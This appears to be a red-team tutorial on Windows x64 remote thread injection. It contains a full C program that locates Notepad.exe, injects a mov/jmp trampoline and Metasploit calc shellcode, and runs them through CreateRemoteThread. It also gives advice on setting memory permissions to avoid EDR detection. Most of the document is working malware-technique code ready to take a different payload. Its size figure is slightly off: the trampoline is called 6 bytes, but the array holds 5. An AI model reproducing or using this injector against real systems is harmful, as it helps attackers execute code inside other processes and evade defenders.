Remote-Thread-Injection-Callback-Trampoline
What is it?
Remote process injection using CreateRemoteThread — but instead of pointing the thread directly at the shellcode, a tiny 6-byte assembly trampoline is injected first and used as the thread entry point. The shellcode address is passed as lpParameter, and the trampoline bridges the gap between the Windows calling convention and the raw shellcode.
How it works
Why a trampoline?
CreateRemoteThread expects a thread start routine with this signature: DWORD WINAPI ThreadProc(LPVOID lpParameter)
On x64, Windows delivers lpParameter in the RCX register. We pass &Shellcode as lpParameter → RCX = shellcode address.
Raw shellcode is position-independent bytes — it has no function prologue and doesn’t follow any calling convention. It just executes. We need something to take the address from RCX and jump to it. That’s the trampoline.
Step 1: Find and open the target process
1
2
3
4
5
6
7
8
9
10
11
EnumProcesses(dwPidArray, sizeof(dwPidArray), &dwPIDArrayLength)
→ fills dwPidArray with all running PIDs
→ dwPIDArrayLength = bytes written, not count
dwPIDArrayLength /= sizeof(DWORD) ← convert to actual PID count
for each PID:
OpenProcess(PROCESS_ALL_ACCESS) ← many fail with access denied, skip
EnumProcessModules → hModule ← index 0 = the executable itself
GetModuleBaseNameW → szProcessName
lstrcmpiW(szProcessName, L"Notepad.exe") == 0 ?
→ save hProcess + dwProcId, done
Step 2: Inject the trampoline
1
2
3
4
5
6
7
8
CallbackTrampoline (6 bytes):
48 89 C8 mov rax, rcx ← RCX = shellcode address (from lpParameter)
FF E0 jmp rax ← jump directly into shellcode
VirtualAllocEx (PAGE_READWRITE) ← allocate RW first, not RWX
WriteProcessMemory → trampoline bytes ← write while still RW
VirtualProtectEx → PAGE_EXECUTE_READWRITE
→ pCallbackAddr = trampoline address in target process
Step 3: Inject the shellcode
1
2
3
4
VirtualAllocEx (PAGE_READWRITE)
WriteProcessMemory → shellcode bytes
VirtualProtectEx → PAGE_EXECUTE_READWRITE
→ pShellcodeAddr = shellcode address in target process
Step 4: Create the remote thread
1
2
3
4
5
6
7
8
9
CreateRemoteThread(
hProcess,
NULL, 0,
pCallbackAddr, ← entry point = trampoline
pShellcodeAddr, ← lpParameter = shellcode address → lands in RCX
0, NULL
)
WaitForSingleObject(hThread, INFINITE) ← wait for shellcode to finish
Full execution flow in the target process:
Allocating as PAGE_READWRITE first and then flipping to PAGE_EXECUTE_READWRITE via VirtualProtectEx is a deliberate choice — writing directly into an RWX allocation is a stronger IOC that many EDRs flag immediately. Write first, then change permissions.
The trampoline is only 6 bytes precisely because that’s all it needs: move the parameter from where Windows left it (RCX) into a scratch register (RAX), then jump there. No stack setup, no prologue — just two instructions that hand control to the shellcode cleanly.
RemoteProcessInjection-WithCallback.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#define TARGET_PROCESS L"Notepad.exe"
// x64 calc shellcode (metasploit)
unsigned char Shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
/*
Callback trampoline patch
CreateRemoteThread start routine is: ThreadProc(LPVOID lpParam) Windows in x64 passes lpParam in RCX register, we use this trampoline to patch it by effectively injecting our shellcode address in lpParam, so RCX will hold our shellcode base address
48 89 C8 mov rax, rcx ; RAX = shellcode address (from lpParam) ← MISSING THIS LINE
FF E0 jmp rax ; jump to shellcode
*/
unsigned char CallbackTrampoline[] = {
0x48, 0x89, 0xC8, // mov rax, rcx
0xFF, 0xE0 // jmp rax
};
/*
Enumerate running processes and return a handle to the first match
szProcName -> Target process name (e.g. L"Notepad.exe")
dwProcId -> Receives the PID of the matched process
hProcess -> Receives an open handle with PROCESS_ALL_ACCESS
*/
BOOL GetProcesses(_In_ LPWSTR szProcName, _Out_ DWORD* dwProcId, _Out_ HANDLE* hProcess) {
if (!szProcName || !dwProcId || !hProcess)
return FALSE;
*dwProcId = 0;
*hProcess = NULL;
DWORD dwPidArray[MAX_PATH * 2] = { 0 };
DWORD dwPIDArrayLength = 0;
HANDLE hTmp = NULL;
BOOL bResult = FALSE;
// Fill dwPidArray with PIDs of all running processes
if (!EnumProcesses(dwPidArray, sizeof(dwPidArray), &dwPIDArrayLength)) {
printf("[!] EnumProcesses Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Convert bytes → number of PIDs
dwPIDArrayLength /= sizeof(DWORD);
for (DWORD i = 0; i < dwPIDArrayLength; i++) {
// PID 0 = System Idle Process — skip it
if (dwPidArray[i] == 0)
continue;
// Try to open the process — many will fail (access denied) and that's expected
hTmp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPidArray[i]);
if (!hTmp)
continue;
// Get the first loaded module (index 0 = the executable itself)
HMODULE hModule = NULL;
DWORD dwModuleLen = 0;
if (!EnumProcessModules(hTmp, &hModule, sizeof(HMODULE), &dwModuleLen)) {
CloseHandle(hTmp);
hTmp = NULL;
continue;
}
// Retrieve the base name of the TARGET_PROCESS
WCHAR szProcessName[MAX_PATH] = { 0 };
if (!GetModuleBaseNameW(hTmp, hModule, szProcessName, MAX_PATH)) {
CloseHandle(hTmp);
hTmp = NULL;
continue;
}
// Case-insensitive compare against our target
if (lstrcmpiW(szProcessName, szProcName) == 0) {
*dwProcId = dwPidArray[i];
*hProcess = hTmp; // caller is responsible for closing this handle
bResult = TRUE;
wprintf(L"\t[+] Found: %s (PID: %d) \n", szProcessName, dwPidArray[i]);
goto _CleanUp;
}
CloseHandle(hTmp);
hTmp = NULL;
}
_CleanUp:
if (hTmp && !bResult)
CloseHandle(hTmp);
return bResult;
}
/*
Allocate memory in the target process, write data into it, then mark RWX
hProcess -> Handle to target process
pData -> Buffer to inject
szDataSize -> Size of buffer in bytes
pRemoteAddr -> Receives the address of the allocation in the target process
*/
BOOL InjectMemory(_In_ HANDLE hProcess, _In_ PBYTE pData, _In_ SIZE_T szDataSize, _Out_ PVOID* pRemoteAddr) {
PVOID pAllocAddr = NULL;
SIZE_T szBytesWritten = 0;
DWORD dwOldProtect = 0;
if (!hProcess || !pData || !szDataSize || !pRemoteAddr)
return FALSE;
// Allocate a RW region in the target process
pAllocAddr = VirtualAllocEx(hProcess, NULL, szDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pAllocAddr) {
printf("[!] VirtualAllocEx Failed: %d \n", GetLastError());
return FALSE;
}
printf("[+] Allocated 0x%p (%zu bytes) \n", pAllocAddr, szDataSize);
// Copy our buffer into the remote process at the allocated address
if (!WriteProcessMemory(hProcess, pAllocAddr, pData, szDataSize, &szBytesWritten) || szBytesWritten != szDataSize) {
printf("[!] WriteProcessMemory Failed: %d \n", GetLastError());
VirtualFreeEx(hProcess, pAllocAddr, 0, MEM_RELEASE);
return FALSE;
}
printf("[+] Written %zu bytes \n", szBytesWritten);
// Modify the region to RWX so the CPU can execute it
if (!VirtualProtectEx(hProcess, pAllocAddr, szDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
printf("[!] VirtualProtectEx Failed: %d \n", GetLastError());
VirtualFreeEx(hProcess, pAllocAddr, 0, MEM_RELEASE);
return FALSE;
}
*pRemoteAddr = pAllocAddr;
return TRUE;
}
int main() {
DWORD dwProcId = 0;
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pCallbackAddr = NULL,
pShellcodeAddr = NULL;
wprintf(L"[*] Looking for %s ... \n", TARGET_PROCESS);
if (!GetProcesses(TARGET_PROCESS, &dwProcId, &hProcess)) {
printf("[!] Target process not found \n");
return -1;
}
// Inject trampoline first — it's the thread entry point
printf("[*] Injecting callback trampoline ... \n");
if (!InjectMemory(hProcess, CallbackTrampoline, sizeof(CallbackTrampoline), &pCallbackAddr)) {
printf("[!] Trampoline Injection Failed \n");
goto _CleanUp;
}
printf("[+] Trampoline At: 0x%p \n", pCallbackAddr);
// Inject shellcode — passed as lpParameter to the thread
printf("[*] Injecting shellcode ... \n");
if (!InjectMemory(hProcess, Shellcode, sizeof(Shellcode), &pShellcodeAddr)) {
printf("[!] Shellcode Injection Failed \n");
goto _CleanUp;
}
printf("[+] Shellcode At: 0x%p \n", pShellcodeAddr);
// Thread starts at the trampoline (entry point)
// Shellcode address is passed as lpParameter → arrives in RCX
// Trampoline: mov rax, rcx / jmp rax → lands in shellcode
printf("[*] Creating Remote Thread ... \n");
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCallbackAddr, pShellcodeAddr, 0, NULL);
if (!hThread) {
printf("[!] CreateRemoteThread Failed: %d \n", GetLastError());
goto _CleanUp;
}
printf("[+] Thread Created \n");
printf(" \t[>] Entry (trampoline): 0x%p \n", pCallbackAddr);
printf(" \t[>] Param (shellcode): 0x%p \n", pShellcodeAddr);
WaitForSingleObject(hThread, INFINITE);
_CleanUp:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
return 0;
}

